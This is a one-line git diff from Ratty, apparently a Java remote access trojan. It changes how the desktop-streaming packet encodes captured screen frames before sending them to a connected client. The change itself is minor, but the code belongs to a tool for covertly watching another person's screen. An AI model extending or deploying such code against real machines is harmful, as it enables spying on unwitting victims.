diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java index d8f9128..0fec0c4 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java @@ -41,7 +41,7 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveClient client) { Stream.of(frames).forEach(frame -> { - final byte[] data = ImageUtils.toByteArray(frame.image, "JPG"); + final byte[] data = ImageUtils.toByteArray(frame.image, 0); client.writeByte(INCOMING); client.writeShort((short)frame.x);